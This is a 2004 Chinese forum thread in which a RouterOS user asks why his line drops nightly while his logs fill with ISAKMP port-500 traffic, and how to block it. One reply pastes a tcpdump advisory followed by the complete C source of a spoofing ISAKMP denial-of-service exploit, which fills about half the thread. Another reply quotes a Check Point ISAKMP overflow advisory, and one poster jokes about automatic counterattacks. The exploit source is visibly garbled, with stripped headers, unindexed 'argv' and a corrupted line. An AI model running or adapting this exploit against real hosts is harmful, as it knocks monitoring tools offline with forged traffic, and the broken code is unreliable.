albert318 发表于 2004-8-22 11:31:22

ISAKMP。。。。是什么东西啊。。 我的LOG里吊线的时候全是这个记录啊。。 我怎么发不了图片啊。。。。   高手看看。。。。连续好多天了。。天天凌晨2点多吊线。。。。有人攻击。。难道ROS 这么脆弱啊。。。

albert318 发表于 2004-8-22 11:34:15

看看这次图片能不能发上把。。。。

smile787 发表于 2004-8-22 12:26:26

如果你没有设置防火墙和规则,那只能给人攻击了。。。你的xp开天网等软件就是这样原因。。。看看精华贴。。。

albert318 发表于 2004-8-22 15:25:05

请问以下。。。。我应该设置什么规则。。能防止这类攻击。。。谢谢!!!

lsmkpkp 发表于 2004-8-22 15:32:19

SMILE高人,您就开开金口,指点下啊

smile787 发表于 2004-8-22 18:13:19

别这么说。。。。。os有官方文档全部都有介绍,就是自己都不看,以前的贴子有介绍如何添加规则。。。。如果你装一下linux,在设置一下你就知道os已经是很容易设置。。。。。。可是这样都不看,什么是事都叫斑竹。。。你该知道为什么没人回答。。。论坛里很多兄弟老是问题,帮他解答了,可以他从来不发贴帮后来的别人解答问题。。。有一点小问题叫的最大声的也是他们。。。。。。。

gaopangzi 发表于 2004-8-22 21:46:29

能不能在受到攻击时暂时断网,记录对方攻击记录,在hotspot对内网用户公告后,自动发起反击(反击工具自选)?哈哈哈!

albert318 发表于 2004-8-23 08:03:24

防火墙的规则我已经按照精华里的和官方的设置了呀。。可是还有有人ISAKMP,,,用的是500端口。。。我想问以下这个是不是ROS 的漏洞呢。。。

smile787 发表于 2004-8-23 08:59:06

TCPDump畸形ISAKMP数据包远程拒绝服务漏洞严重程度:中威胁程度:远程拒绝服务错误类型:设计错误利用方式:服务器模式受影响系统LBL tcpdump 3.5.2                            LBL tcpdump 3.6.2                               +Caldera OpenLinux Server 3.1                +Caldera OpenLinux Server 3.1.1            +Caldera OpenLinux Workstation 3.1         +Caldera OpenLinux Workstation 3.1.1         +Conectiva Linux 5.0                         +Conectiva Linux 5.1                         +Conectiva Linux 6.0                         +Conectiva Linux 7.0                         +Conectiva Linux 8.0                         +Debian Linux 3.0                            +Debian Linux 3.0 alpha                      +Debian Linux 3.0 arm                        +Debian Linux 3.0 hppa                     +Debian Linux 3.0 ia-32                      +Debian Linux 3.0 ia-64                      +Debian Linux 3.0 m68k                     +Debian Linux 3.0 mips                     +Debian Linux 3.0 mipsel                     +Debian Linux 3.0 ppc                        +Debian Linux 3.0 s/390                      +Debian Linux 3.0 sparc                      +FreeBSD FreeBSD 4.0                         +FreeBSD FreeBSD 4.1                         +FreeBSD FreeBSD 4.1.1                     +FreeBSD FreeBSD 4.2                         +FreeBSD FreeBSD 4.3                         +HP Secure OS software for Linux 1.0         +MandrakeSoft Corporate Server 1.0.1         +MandrakeSoft Linux Mandrake 7.1             +MandrakeSoft Linux Mandrake 7.2             +MandrakeSoft Linux Mandrake 8.0             +MandrakeSoft Linux Mandrake 8.1             +MandrakeSoft Linux Mandrake 8.2             +MandrakeSoft Single Network Firewall 7.2    +RedHat Linux 6.2 alpha                      +RedHat Linux 6.2 i386                     +RedHat Linux 6.2 sparc                      +RedHat Linux 7.0 alpha                      +RedHat Linux 7.0 i386                     +RedHat Linux 7.1 alpha                      +RedHat Linux 7.1 i386                     +RedHat Linux 7.1 ia64                     +RedHat Linux 7.2 i386                     +RedHat Linux 7.2 ia64                     +S.u.S.E. Linux 8.0                        +Trustix Secure Linux 1.1                  +Trustix Secure Linux 1.2                  +Trustix Secure Linux 1.5               LBL tcpdump 3.7                                 +FreeBSD FreeBSD 4.2                         +FreeBSD FreeBSD 4.2 -RELEASE                +FreeBSD FreeBSD 4.2 -STABLE               +FreeBSD FreeBSD 4.3                         +FreeBSD FreeBSD 4.3 -RELEASE                +FreeBSD FreeBSD 4.3 -RELENG               +FreeBSD FreeBSD 4.3 -STABLE               +FreeBSD FreeBSD 4.4                         +FreeBSD FreeBSD 4.4 -RELENG               +FreeBSD FreeBSD 4.4 -STABLE               +FreeBSD FreeBSD 4.5                         +FreeBSD FreeBSD 4.5 -RELEASE                +FreeBSD FreeBSD 4.5 -STABLE               +FreeBSD FreeBSD 4.6                         +FreeBSD FreeBSD 4.6 -RELEASE             LBL tcpdump 3.7.1                               +Gentoo Linux 1.4 _rc1                     +Gentoo Linux 1.4 _rc2                     +S.u.S.E. Linux 8.1详细描述tcpdump实现上存在漏洞,当其收到某种类型的数据包会造成拒绝服务。当tcpdump收到一个恶意的畸形格式的数据包时,tcpdump会不再处理流经其的数据包,只有重启程序才能恢复功能,远程入侵者可以利用此漏洞tcpdump暂时失去嗅探功能。测试代码/** ST-tcphump.c -- tcpdump ISAKMP denial of service attack*   The Salvia Twist*   01/03/03* * "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)*that allows an attacker to force TCPDUMP into an infinite loop upon*receipt of a specially crafted packet."** The fault really lies in isakmp_sub0_print() not isakmp_sub_print().* * Sometimes spoofed packets don't reach their destination, so we have support * for non-spoofed packets.* */#include #include #include #include #include #include #include #include #include #define ISAKMPGEN_SIZE    sizeof(struct isakmpgen)#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)#define PSDHEAD_SIZE    sizeof(struct pseudohdr)#define UDPHEAD_SIZE    sizeof(struct udphdr)#define IPHEAD_SIZE    sizeof(struct iphdr)#define PORT      500struct isakmpgen * isakmpg(void);struct isakmphdr * isakmph(void);struct udphdr * udph(void);struct iphdr * iph(void);__u16 cksum(__u16 *buf, int nbytes);void get_interface(void);void usage(void);struct isakmpgen {    __u8 np;    __u8 reserved;    __u16 length;};struct isakmphdr {    __u8 i_ck;    __u8 r_ck;    __u8 np;    __u8 vers;    __u8 etype;    __u8 flags;    __u8 msgid;    __u32 len;};struct pseudohdr {    __u32 saddr;    __u32 daddr;    __u8 zero;    __u8 protocol;    __u16 length;};struct sockaddr_in saddr;struct sockaddr_in local;int spoof;int main(int argc, char *argv[]) {    char *packet = malloc(4096);    char *pseudo = malloc(4096);    struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE);    struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE);    struct pseudohdr *phdr = malloc(PSDHEAD_SIZE);    struct udphdr    *udp = malloc(UDPHEAD_SIZE);    struct iphdr    *ip = malloc(IPHEAD_SIZE);    int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);    int one = 1;    const int *val = &one;      printf("ST-tcphump tcpdump ISAKMP denial of service\n");    printf("    The Salvia Twist\n");      if(argc < 2) {      usage();      exit(1);    }      if(!strcmp(argv, "-s"))      spoof = 0;    else {      spoof = 1;      get_interface();    }                if(!spoof && argc < 3) {      usage();      exit(1);    }      bzero(packet, sizeof(packet));    bzero(pseudo, sizeof(pseudo));    srand(time(NULL));      saddr.sin_family = AF_INET;    saddr.sin_port = htons(PORT);      if(spoof)      saddr.sin_addr.s_addr = inet_addr(argv);    else      saddr.sin_addr.s_addr = inet_addr(argv);      setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));      ip = iph();    udp = udph();    isakmp = isakmph();    isakmpgen = isakmpg();      memcpy(&phdr->saddr, &ip->saddr, 4);    memcpy(&phdr->daddr, &ip->daddr, 4);    phdr->protocol = 17;    phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);      memcpy(pseudo, phdr, PSDHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,            isakmpgen, ISAKMPGEN_SIZE);      udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE +            ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);      memcpy(packet, ip, IPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,            isakmpgen, ISAKMPGEN_SIZE);            ip->check = cksum((u_short*) packet, ip->tot_len >> 1);    memcpy(packet, ip, IPHEAD_SIZE);    if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr,                sizeof(saddr)) < 0) {      printf("sendto error\n");      exit(1);    }      printf("Packet sent.\n");      return 0;}void usage(void) {    printf("\nUsage: ST-tcphump -s \n");    printf("\t-s\tdon't spoof source address\n");}__u16 cksum(__u16 *buf, int nbytes) {    __u32 sum;    __u16 oddbyte;    sum = 0;    while(nbytes > 1) {      sum += *buf++;      nbytes -= 2;    }    if(nbytes == 1) {      oddbyte = 0;      *((__u16 *) &oddbyte) = *(__u8 *) buf;      sum += oddbyte;    }    sum = (sum >> 16) + (sum & 0xffff);    sum += (sum >> 16);    return (__u16) ~sum;}struct isakmpgen * isakmpg(void) {    struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE);    bzero(isakmpg, ISAKMPGEN_SIZE);    isakmpg->np = 69;}struct isakmphdr * isakmph(void) {    struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE);    int i;      bzero(isakmph, ISAKMPHEAD_SIZE);    for(i = 0; i < 8; i++) {      isakmph->i_ck = rand() % 256;      isakmph->r_ck = rand() % 256;    }    for(i = 0; i < 4; i++)      isakmph->msgid = rand() % 256;    isakmph->vers = 0x8 np = 69;    isakmph->etype = 2;    isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);}struct udphdr * udph(void) {    struct udphdr *udph = malloc(UDPHEAD_SIZE);    udph->source = htons(PORT);//htons(1024 + (rand() % 2003));    udph->dest = htons(PORT);    udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE;    udph->check = 0;}struct iphdr * iph(void) {    struct iphdr *iph = malloc(IPHEAD_SIZE);    iph->ihl = 5;    iph->version = 4;    iph->tos = 0;    iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE +         ISAKMPGEN_SIZE;    iph->id = htons(rand());    iph->frag_off = 0;    iph->ttl = 225;    iph->protocol = 17;    iph->check = 0;    if(spoof) {      iph->saddr = saddr.sin_addr.s_addr;    }    else      iph->saddr = local.sin_addr.s_addr;      iph->daddr = saddr.sin_addr.s_addr;      return iph;}/* thanks hping2 */void get_interface(void) {    int sockr, len, on = 1;    struct sockaddr_in dest;    struct sockaddr_in iface;    memset(&iface, 0, sizeof(iface));    memcpy(&dest, &saddr, sizeof(struct sockaddr_in));    dest.sin_port = htons(11111);    sockr = socket(AF_INET, SOCK_DGRAM, 0);    if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) {      printf("getsockopt error\n");      exit(1);    }    if(connect(sockr, (struct sockaddr *)&dest,                sizeof(struct sockaddr_in)) == -1) {      printf("connect error\n");      exit(1);    }    len = sizeof(iface);    if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) {      printf("getsockname error\n");      exit(1);    }      close(sockr);    memcpy(&local, &iface, sizeof(struct sockaddr_in));    return;}

smile787 发表于 2004-8-23 09:01:52

ISAKMP 缓冲区溢出漏洞 vpn漏洞级别:高发布日期:2004-07-30漏洞类型:输入验证错误,缓冲区溢出攻击类型:远程攻击效果:安全保护受影响系统:--------------------------------------------------------------------------------Check Point, Software FireWall-1, GX 2.0Check Point, Software FireWall-1, VSX 2.0.1Check Point, Software FireWall-1, VSX NG with Application Intelligence Check Point, Software Next Generation, FP3 HF2Check Point, Software Next Generation, FP3 HF1Check Point, Software Next Generation, FP3Check Point, Software NG-AI, R55Check Point, Software NG-AI, R54Check Point, Software VPN-1, VSX 2.0.1Check Point, Software VPN-1, VSX NG with Application Intelligence 漏洞描述:--------------------------------------------------------------------------------Check Point VPN-1 和 FireWall-1 NG products, 在VPN-1/FireWall-1 R55 HFA-03, R54 HFA-410 和 NG FP3 HFA-325之前, o或 VPN-1 SecuRemote/SecureClient R56 中的ISAKMP 在隧道运行期间可能发生缓冲区溢出。造成远程用户可以执行任意代码。

smile787 发表于 2004-8-23 09:05:52

全称「Internet Security Agreement/Key Management Protocol」------ISAKMP

voatec 发表于 2004-8-23 09:30:23

请问楼主用的什么版本的RouteOS?

rainy 发表于 2004-8-23 13:42:07

在rule input 里定义规则,直接drop掉这些包有用吗?

albert318 发表于 2004-8-23 18:11:58

原来用的是2.7.14,,,经常吊线。。前天换上2.8.11 了。。还是有人给我发这些东西。。。

albert318 发表于 2004-8-23 18:15:00

5555555555 具体我应该在防火墙里添加什么规则呢。。 谢谢指点。。。。
页: [1] 2
查看完整版本: 用ROS 的过来看看!!!